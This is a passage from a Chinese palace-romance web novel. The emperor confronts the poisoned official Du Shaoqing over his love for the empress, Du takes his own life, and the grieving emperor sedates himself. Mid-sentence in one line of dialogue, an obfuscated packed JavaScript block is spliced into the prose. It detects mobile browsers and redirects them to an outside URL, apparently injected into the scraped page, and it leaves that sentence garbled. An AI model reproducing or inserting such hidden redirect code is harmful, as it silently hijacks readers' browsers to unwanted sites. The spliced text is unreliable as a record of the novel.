依着皇帝平日暴躁的性子,这会儿早该砸了杜少卿的书阁了。可是今天虽然黑着憋着怒气,但踢了一脚门其他什么都没干了。端着皇帝的架子,趾高气昂的看着杜少卿,每句话好像都从鼻孔里出气一样。 “杜少卿,你好大的胆子!数次诓骗皇后出宫欲意何为,你当真以为朕无权软弱就不敢杀人是吗?” “圣上不是已经知道了,为何还明知故问,您在害怕对不对?” 杜少卿不但没替遮掩苏娘子来过的事,还把水越搅越浑,故意激怒皇帝。好像出了一口恶气心中痛快了,这一身剐和功名都不要了。皇帝觉得他一定疯了,可也感到慌张了,激动道: “朕怕,朕怕什么了?杜少卿她认识你才几日,她才如今才不过十七岁,孩子心性而已!一个男人新鲜几日,并不是什么稀罕事。朕才是她的男人,她的丈夫,往后数一百年生生世世都是!” 杜少卿像是听到了什么笑话一样,咳嗽起来脸色突然发白,蹙着眉头赶紧用手帕捂住嘴。皇帝看见他这副病怏怏的模样,心下更是得意,脸色缓和了不少。但杜少卿咳完下一句又成功把他激怒了,脸黑的跟锅底一样,噗嗤噗嗤的哼着起气。 “所以臣遗憾没能早些遇到她,圣上除了骗婚于她,还有什么可得意的!您不懂她喜欢什么,想做什么。她有鸿鹄之志,您却执意要困她做一只金丝雀在紫禁城里。她在治河之道上颇具天赋,又得苏老先生真传,她在黄河上比给您做一个皇后强百倍!” “杜少卿你有什么好遗憾的,以为在朕骗婚前认识她就能怎么样了吗?朕和她早就认识快十几年了,青梅竹马一同吃一同睡。她喜欢朕绝不是你可比的,无论你何时遇见她都比朕迟了,这辈子你别做梦了!你怀有觊觎皇后之心,朕本是容不得你的。可朕不喜欢她为了除朕之外的男人落泪,朕不会杀你。你既喜欢修书,那就去给先帝守灵吧!” 皇帝拂袖转身而去,杜少卿疲惫的垂下眼靠在床头,眉头一凝强咽一口喉间的鲜血。再睁开眼睛,眼前一片昏暗,只能看见门口一些微弱的光亮,皇帝的身影变得像芝麻一样。 “….圣上,这是她的书笼,请您帮她带回去。她很喜欢治河,心怀百姓,常为黄河水患忧虑,这些可以帮到她。” 皇帝在门口顿住,斜眼凝视屋内,沉声怒道:“杜少卿你别太过分了!朕是她的丈夫,不是你们的信使!” “可是黄河是她的,也是圣上的。苏老先生为何六十岁花甲之年还在黄河上奔波,就是因为朝廷里想把差事做好的人太少了,圣上以为这只是她一个人的事吗?” “杜少卿,你以为朕真的不敢拿你怎么样吗!” 皇帝被激怒转身冲回屋内一把丢开床上的书笼,揪住杜少卿的衣领,吓得茶室里苏娘子和小梅险些冲出来。 可下一刻皇帝就撒手放开了,杜少卿双目其实已经看见他了,但能够感受到皇帝怒气。他仰着头望着皇帝的方向,轻蔑的笑,手指摩挲着那块送给苏娘子做拜师礼的玉坠。 “圣上敢拿臣如何?臣喜欢她,身为一把刺杀她的刀,却爱上她的温柔聪慧和稚气。这些话臣知道圣上不喜欢听,但臣也只说一次。皇上请便吧,臣就不起身送驾了。” “杜少卿!!” 皇帝瞧着他挑衅的神情险些挥拳,但让他自己也意外的是这样的冲动今天忍住好几回了。 “疯子!” 这回他没有与他认为的疯子计较,捡起地上散落的纸笺塞到书笼里就走了。没有殴打挑衅的杜少卿,拆了他的阁楼,或是把他扔到牢里去。只是放了几句狠话,临走甚至他的书笼带走了。 茶室里苏娘子和小梅望着走过琉璃窗牍的身影发呆,脚步声都远了还久久回不过神来——皇帝怎么转性了,不过他该是又哭了吧。 两个人惴惴不安的从茶室里出来,苏娘子走到床边望着闭眼假寐的杜少卿,关心道:“杜大人怎么样了,皇上他有没有…..” “没有,我没事,适才那些话你听到了。我知道你不爱听,但我不后悔,也只说这一次从今以后都不会了。” “…..”苏娘子尴尬的无所适从,目光局促的乱飘,“不早了,我先回去了。我会重新派太医来的,请大人好好保重,早日康复。” “嗯,苏念辞。” 杜少卿感觉到床边的人走了,满满的出屋子,人气就消散了。冰冷的屋子就剩下了他一个人,睁开眼来了什么光亮都消失了,坠落到无尽的黑暗里。 “苏念辞,不及黄泉,不复相见了。” ——— 皇帝和苏娘子离开半个时辰后,太医院的李廷致便到了,随后好几位老太医乘着小轿陆续而至。诊脉过杜少卿虚弱的脉相,几个人都避到了屋外小声音议论。 “怎么回事,杜大人的身体怎么突然就….看样子只怕是撑不过今夜了。” “可是在背后搅动朝堂的人又出来?” “不太像,杀一个必死之心多此一举,还会暴露身份。” 李廷致转身回到拔步床边,凑到杜少卿嘴边,低声问道:“杜大人怎么了,您的体内如今似不只有一种毒素,不知可是有歹人谋害。” 杜少卿脸色还是如白日一般,虽是水银中毒入五脏,但头发、牙齿并为脱落,皮肤也未溃烂。躺在床上就像只是闭眼假寐一样,但意识已经混沌,呼吸也薄弱了,好像随时会绝息一般。艰难的听清楚李廷致的话后,痴痴的发笑。 “….我….我没事,李太医。我只是不想死的太难看了,不关诸位大人的事。” 说完突然瞪大双眼,身体猛的抽搐起来,堵在喉间鲜血如水柱一般喷射而出。 “杜大人!!” “来人,快杜大人吐血了!!” 屋外几个老太医听见李廷致呼救,赶紧进来止血施救,但也回天乏术。杜少卿很快绝息了,像他自己说的那样不想死的太难看了。死的时候身着干净的灰袍,墨发梳得一丝不苟,甚至是施了脂粉掩盖中毒之状。形容如常,呕出来的黑血流满白皙的脸,反倒是添加一丝妖冶之气。 随后李廷致等人在屋子里找到鸠酒,杜少卿自尽了的消息传进养心殿,皇帝拿着徐邺河段河道图一下掉在御案上。杜少卿的书笼被碰到,里面的书稿撒了出来。皇帝和大福刚想弯腰捡,从殿外突然刮进来了一阵阴风,吹起地上的手稿飘得满殿都是。 皇帝痴痴的望着飘舞的手稿,好像感觉到杜少卿的气息好像也跟着风一起蹿进殿里来了。他的神情逐渐悲痛,伸手抓住了一张凌空飞舞的手稿。 “…..杜少卿,你就不和朕斗了吗?朕还以为你今日那般硬气,是要与朕一斗到底呢。朕承认,朕害怕了,你死了朕更害怕。” 因为满殿的手稿和河道图告诉他,杜少卿不仅才貌过人,还与他的皇后志向相投,心怀小爱也有大爱。可现在他死了,在他的皇后心里永远二十六岁,还把自己治河策略留给了她。她将会继承他的遗志,治理黄河改道漕运,为苍生谋福祉。 正如杜少卿所说,黄河是皇后的,也是他的。身为皇帝他便绝不可能把这些手稿扣留销毁,不仅要送到皇后手上,将来还要在朝堂上为她施政扫清阻碍。 杜少卿身死了,可是他遗志却会用永远陪着他的皇后,永远在她心中二十六岁,白衣胜雪,温润如玉最美好的模样。 —— 随后皇帝让大福把殿门关上捡起来地下的手稿,拂袖出了养心殿,李廷致跟在一旁。两人一起停在玉阶上,望着紫禁城深邃无星的黑夜。 他突然道:“李爱卿,朕觉得这紫禁城有些让人感到害怕。” 李廷致不明白,“圣上怎么了?” “你看见这些宫殿房子了吗?朕觉得住的一点都不暖和,凉飕飕的。白天的时候像沉睡的怪物,死气沉沉的。天黑了之后就会变成吃人的怪物,朕看见好多好多人就一声不响的被吞噬了,连死了尸体也没找到,甚至连来过痕迹也没有。” 皇帝说的是杜少卿,是当初指证他运火油火烧钟粹宫的两个掖门守卫,是在宁寿宫打扫竹香馆的那两个小太监,还有肖小姐、章钦…..他怀疑这一切的幕后指使是辞官闲居河南的肖阁老,可是没有证据。长丰去暗查过,那老头并没有什么异常,连门生故吏也不联系,整日侍弄花草。每月照例一封请安书,给他带一些特产、滋补药材,和朝里的大臣一样担心他还能不能生。 “高处不胜寒,圣上还年轻,总有一天会改变这一切。如今圣上不是一个人了,至少皇后娘娘、苏老先生一定会尽心辅佐皇上的。” “是吗?”皇帝自嘲一笑,看向李廷致,“倘若朕并不能有与苏家血脉相连的骨肉,你觉得他们还会帮朕吗?苏师父、苏大哥他们看重的并不是朕,而是皇后。可皇后是一个活生生的人,朕并不能关管住她的心,也不能把她绑在裤腰带上。倘若有一天她要逃要走,变成蝴蝶飞走了,朕也是没有办法的。” “?”李廷致有些懵,不明白皇后怎么要变成蝴蝶飞走了,安慰道:“怎么会,圣上是不是最近太过于劳累忧心了,臣再给您开副安神宁心的药方如何?至于孩子,圣上身体调理的也有些时日应该无大碍了,此事除了尽人事也看缘分。圣上与皇后娘娘的缘分到了,孩子自然来了,圣上不必过于忧心。” “嗯,朕知道了,就是朝中大臣老是催朕,叫朕有些烦。朕会派礼部的人去料理杜少卿的丧事,他家人都遣回河南了。你们同僚一场,明日去上上祭,别叫他一个人走的太凄凉了。” “是。”李廷致微微惊讶的看向皇帝,说了一句不该说的话,“圣上这两年变了许多,不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812297|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个毛头小子毛毛躁躁的了。” “行了,朕什么样朕知道,下去吧。” 皇帝摆摆手并没有被安慰到,转身走向乾清宫,李廷致对着他的背影拜了拜。出宫时在掖门下和回宫的苏娘子相遇了,他听过皇后和杜少卿的闲话,没有多嘴杜少卿的死,避开了苏娘子的马车才离开。 乾清宫外,苏娘子下了马车和小梅在宫外磨叽。两个人原本打算躲在大学士府不回来了,可是架不住良心不过意不去,挨了不到两个时辰又灰溜溜的回来了。 今日的这种情况是有先例的,苏娘子站在宫外双腿开始发虚,可这种事没有人能够帮她了。不仅她明白,小梅也明白,小心翼翼的瞥了她一眼,推推她的胳膊。 “…..娘….娘子,奴婢先回去了,您好好保重啊。” 苏娘子害怕闭上眼,嘤嘤的从嘴巴发出痛苦的嚎叫,紧张的拽紧裙子,“我….我要怎么保重啊,他肯定气死了。他不找杜大人的不是,肯定是要找我的不是的。” “那奴婢也帮不了您了,奴婢先走了,娘子你自己保重。” 小梅已经没有从前的莽撞傻乎乎的往人家两夫妻的事里掺合了,但她也绝不干看着。跑回到自己的小屋,立刻翻出纸笔给苏明伯写信告诉她京城发生的事了。落笔就是“大公子不好了,娘子有别的心上人了!皇上知道了,特别生气,娘子她只怕是凶多吉少……” 另一边,苏娘子终于鼓足勇气进殿,三福刚好从里面端着药碗出来,瞧见她踌躇不定的模样拜见道: “娘娘回来啦,没事,进去吧。万岁爷歇下了,这会儿该是都睡着了。” “啊?”苏娘子惊讶道:“…..他还睡的着啊?” 三福摇摇头,“娘娘自己进去看看就知道了。” 苏娘子瞄见他的药碗,有些好奇,“他怎么现在还在吃药?” “是万岁爷自己要吃的,都是一些滋补的,太医也说没事的。娘娘进去吧,也许还能赶上和万岁爷说说话。” 苏娘子还不太明白他的话,皇帝人就在殿内,要说话怎么还要赶趟了。她走进殿顺手把殿门掩上,到了床边皇帝很敏锐的就感觉到了她的气息。躺在床上缓缓的睁开眼,朝她伸手。 他还是睡在床后,换好了明黄色的寝衣,眸子有些惺忪。苏娘子要坐到床边,探身才能把手给他。 “我今天…..” “念念…..”她刚想说话,皇帝抓住她的手打断了她的话,“朕告诉你一个消息,你别太难过。杜少卿死了,两个时辰前饮了鸠酒自尽了。他本就是中毒回天乏力之人,不想再受折磨所以选择了这种方式了结了自己的性命。” “…..什…..什么?” 苏娘子如遭雷击一般,浑身颤抖,几度哽咽,声音噎在嗓子里什么话也问不出来了。用力抓着皇帝的手,像是溺水的人一样那是唯一的救命稻草,攀着它她才能喘息过来。杏眸瞬间就憋满了泪水,触不及防的落下眼,划过脸颊砸在皇帝的手背上。 他终究还是看见了她为别的男人落泪了,可很奇怪心里却没有想象之中的愤怒难过,只有心脏隐隐做痛的疼。 “….别哭,朕明日带你去看他。” 皇帝声音也哽咽了,抬手拭去苏娘子脸上的泪水,便就放开她的手,转过身闭上眼睡觉了。很快他让三福掺在大补汤里的安神散就上了药效,慢慢意识就模糊了。苏娘子的哭声逐渐远去,他的心也不再疼不再害怕了。 到了三更天,苏娘子终于哭够了,才发觉床后的皇帝有些奇怪。爬到床上推了推他的肩膀,但没反应,有用力的推了好几次还是没反应,直接抓起他的肩膀使劲的摇。 “….岳….岳凌?岳凌哥哥?岳凌哥哥你怎么了,你醒醒啊!岳凌哥哥,你是睡着了吗?” 可不管苏娘子怎么喊,皇帝就是没反应。慌乱中她忘记了皇帝往常也是这样睡的跟死猪一样,雷打不动。她害怕,哭着跑出殿外。 “三福,三福,皇上他怎么了?怎么一直接叫不醒,三福,你快来看看!” 三福听见动静,连忙从值房里出来。看见苏娘子惊慌失措,哭的眼泪涟涟的样子,无奈的笑了。 “娘娘,万岁爷他没事。他说心里害怕,疼的厉害,吃了很多安神散,只是睡着了而已。到天亮就醒了,您不用担心。” “为….为什么?” “娘娘不是知道吗?杜大人他死了。”三福语气有些埋怨她,愤闷道:“娘娘只看得见杜大人,又可看见万岁爷?万岁爷从去岁开始就在吃安神散了,因为他害怕忍不住碰您,他说睡着了就没有那些乱七八糟的想法了。可是他是皇上,是您的丈夫,民间寻常夫妻这也不是正常吗?只是因为您不愿意,他宁愿吃药也不愿意勉强您。而今夜,他却用安神散来止心里的疼。他说睡着了,心里就不会害怕,不会疼了。娘娘,杜大人已经成往事了,他才是您的丈夫,您什么时候才会回头来看看他。” “我…..”苏娘子心脏又重重受到一击,踉跄的扶助宫门喘息,三福的身影逐渐在她眼眶里模糊,肿痛的眼睛又开始止不住的落泪。